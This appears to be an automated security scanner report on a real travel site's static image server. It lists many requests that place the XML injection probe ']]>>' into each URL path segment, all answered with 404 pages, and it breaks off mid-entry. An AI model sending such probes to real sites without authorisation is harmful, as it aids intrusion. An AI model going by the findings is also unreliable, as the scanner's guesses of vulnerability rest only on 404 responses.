GET /static/images/hotel/details/tripAdvisorLogo.gif]]>>?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Expires: Mon, 03 Oct 2011 01:02:35 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 03 Oct 2011 01:02:35 GMT Content-Length: 1422 Connection: close Vary: Accept-Encoding
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/images/hotel/details/tripadvisor-ratings/tripAdvisorRating.png?ver=222337 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535998 Date: Mon, 03 Oct 2011 01:02:11 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images]]>>/hotel/details/tripadvisor-ratings/tripAdvisorRating.png?ver=222337 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:16 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel]]>>/details/tripadvisor-ratings/tripAdvisorRating.png?ver=222337 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:19 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel/details]]>>/tripadvisor-ratings/tripAdvisorRating.png?ver=222337 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:21 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 5 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 5. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel/details/tripadvisor-ratings]]>>/tripAdvisorRating.png?ver=222337 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:24 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 6 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 6. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel/details/tripadvisor-ratings/tripAdvisorRating.png]]>>?ver=222337 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Expires: Mon, 03 Oct 2011 01:02:29 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 03 Oct 2011 01:02:29 GMT Content-Length: 1422 Connection: close Vary: Accept-Encoding
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/images/map-console/icons/airport-icon.gif?ver=-1 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:33 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images]]>>/map-console/icons/airport-icon.gif?ver=-1 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535999 Date: Mon, 03 Oct 2011 01:02:37 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/map-console]]>>/icons/airport-icon.gif?ver=-1 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535999 Date: Mon, 03 Oct 2011 01:02:39 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/map-console/icons]]>>/airport-icon.gif?ver=-1 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535998 Date: Mon, 03 Oct 2011 01:02:42 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 5 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 5. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/map-console/icons/airport-icon.gif]]>>?ver=-1 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Expires: Mon, 03 Oct 2011 01:02:43 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 03 Oct 2011 01:02:43 GMT Content-Length: 1422 Connection: close Vary: Accept-Encoding
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/images/review-rating-symbols/3.0.gif?ver=146387 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:56 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images]]>>/review-rating-symbols/3.0.gif?ver=146387 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535967 Date: Mon, 03 Oct 2011 01:01:58 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/review-rating-symbols]]>>/3.0.gif?ver=146387 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535968 Date: Mon, 03 Oct 2011 01:02:02 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/review-rating-symbols/3.0.gif]]>>?ver=146387 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Expires: Mon, 03 Oct 2011 01:02:06 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 03 Oct 2011 01:02:06 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/images/review-rating-symbols/3.5.gif?ver=146387 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:54 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images]]>>/review-rating-symbols/3.5.gif?ver=146387 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:58 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/review-rating-symbols]]>>/3.5.gif?ver=146387 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:01 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/review-rating-symbols/3.5.gif]]>>?ver=146387 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Expires: Mon, 03 Oct 2011 01:02:04 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 03 Oct 2011 01:02:04 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/images/review-rating-symbols/4.0.gif?ver=146387 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
